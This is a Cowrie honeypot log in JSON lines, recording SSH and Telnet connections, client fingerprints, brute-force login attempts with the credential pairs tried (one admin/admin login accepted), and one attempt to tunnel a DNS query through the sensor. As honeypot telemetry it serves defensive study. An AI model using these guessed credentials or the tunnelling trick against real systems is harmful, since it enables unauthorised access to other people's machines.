{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54444,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ccbb8c0cda6","protocol":"ssh","message":"New connection: 87.251.64.176:54444 (10.17.0.5:22) [session: 0ccbb8c0cda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:53.927592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:53.932628Z","src_ip":"87.251.64.176","session":"0ccbb8c0cda6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:54.036785Z","src_ip":"87.251.64.176","session":"0ccbb8c0cda6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:54.343846Z","src_ip":"87.251.64.176","session":"0ccbb8c0cda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:54.425315Z","src_ip":"201.17.146.173","session":"a09070118f78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:54.450068Z","session":"0ccbb8c0cda6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:54.554052Z","src_ip":"87.251.64.176","session":"0ccbb8c0cda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:54.658295Z","src_ip":"87.251.64.176","session":"0ccbb8c0cda6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":33766,"dst_ip":"159.203.135.109","dst_port":22,"session":"10d2aae9f046","protocol":"ssh","message":"New connection: 217.168.240.63:33766 (159.203.135.109:22) [session: 10d2aae9f046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:57.311214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:57.316000Z","src_ip":"217.168.240.63","session":"10d2aae9f046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:57.450435Z","src_ip":"217.168.240.63","session":"10d2aae9f046","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user123456","message":"login attempt [user1/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:58.023566Z","src_ip":"217.168.240.63","session":"10d2aae9f046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:59.158800Z","src_ip":"217.168.240.63","session":"10d2aae9f046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":37150,"dst_ip":"159.203.135.109","dst_port":22,"session":"73529808de71","protocol":"ssh","message":"New connection: 194.59.206.2:37150 (159.203.135.109:22) [session: 73529808de71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:04.032526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:04.037306Z","src_ip":"194.59.206.2","session":"73529808de71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:04.126843Z","src_ip":"194.59.206.2","session":"73529808de71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:04.220730Z","src_ip":"194.59.206.2","session":"73529808de71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:06.102452Z","src_ip":"176.32.39.21","session":"431428a4adab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50138,"dst_ip":"10.17.0.5","dst_port":23,"session":"250f26a351f2","protocol":"telnet","message":"New connection: 172.81.62.90:50138 (10.17.0.5:23) [session: 250f26a351f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:12.128317Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":42174,"dst_ip":"10.17.0.5","dst_port":22,"session":"d732dc99bfd6","protocol":"ssh","message":"New connection: 160.251.185.39:42174 (10.17.0.5:22) [session: d732dc99bfd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:15.770290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:15.774524Z","src_ip":"160.251.185.39","session":"d732dc99bfd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:15.953393Z","src_ip":"160.251.185.39","session":"d732dc99bfd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"victor123","message":"login attempt [victor/victor123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:16.692319Z","src_ip":"160.251.185.39","session":"d732dc99bfd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:17.873026Z","src_ip":"160.251.185.39","session":"d732dc99bfd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":33767,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef390e2820aa","protocol":"ssh","message":"New connection: 102.88.137.80:33767 (10.17.0.5:22) [session: ef390e2820aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:38.525284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:38.530167Z","src_ip":"102.88.137.80","session":"ef390e2820aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:38.714063Z","src_ip":"102.88.137.80","session":"ef390e2820aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sai@12345","message":"login attempt [root/Sai@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:39.487280Z","src_ip":"102.88.137.80","session":"ef390e2820aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:40.673290Z","src_ip":"102.88.137.80","session":"ef390e2820aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":53708,"dst_ip":"10.17.0.5","dst_port":22,"session":"75dc674fd6ec","protocol":"ssh","message":"New connection: 189.203.163.10:53708 (10.17.0.5:22) [session: 75dc674fd6ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:41.303591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:41.309217Z","src_ip":"189.203.163.10","session":"75dc674fd6ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:41.371982Z","src_ip":"189.203.163.10","session":"75dc674fd6ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blogger","password":"123456","message":"login attempt [blogger/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:41.654514Z","src_ip":"189.203.163.10","session":"75dc674fd6ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:42.719890Z","src_ip":"189.203.163.10","session":"75dc674fd6ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.90481114387512,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:51.032964Z","src_ip":"172.81.62.90","session":"250f26a351f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":37106,"dst_ip":"159.203.135.109","dst_port":22,"session":"21e487929468","protocol":"ssh","message":"New connection: 101.47.159.125:37106 (159.203.135.109:22) [session: 21e487929468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:55.815136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:55.819694Z","src_ip":"101.47.159.125","session":"21e487929468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:56.060995Z","src_ip":"101.47.159.125","session":"21e487929468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1","message":"login attempt [root/Root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:57.081359Z","src_ip":"101.47.159.125","session":"21e487929468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:22:58.325808Z","src_ip":"101.47.159.125","session":"21e487929468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":39694,"dst_ip":"10.17.0.5","dst_port":22,"session":"07f8ab715df1","protocol":"ssh","message":"New connection: 79.104.0.82:39694 (10.17.0.5:22) [session: 07f8ab715df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:06.343313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:06.348637Z","src_ip":"79.104.0.82","session":"07f8ab715df1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:23:06.495745Z","src_ip":"79.104.0.82","session":"07f8ab715df1","protocol":"ssh"}
